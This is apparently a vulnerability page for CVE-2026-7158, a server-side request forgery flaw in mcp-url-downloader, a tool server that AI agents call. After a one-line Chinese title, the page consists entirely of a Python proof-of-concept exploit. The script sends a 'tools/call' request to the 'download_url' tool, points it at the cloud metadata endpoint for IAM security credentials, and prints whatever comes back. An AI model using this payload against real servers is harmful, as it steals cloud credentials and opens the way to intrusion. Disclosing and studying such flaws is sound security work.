CVE-2026-7158 mcp-url-downloader存在SSRF漏洞

import json import requests # PoC for CVE-2026-7158: SSRF in mcp-url-downloader # Targeting the internal metadata service often used in cloud environments target_url = "http://localhost:8000" # Replace with actual target URL # Malicious payload attempting to access AWS metadata ssrf_payload = { "method": "tools/call", "params": { "name": "download_url", "arguments": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } try: response = requests.post(target_url, json=ssrf_payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")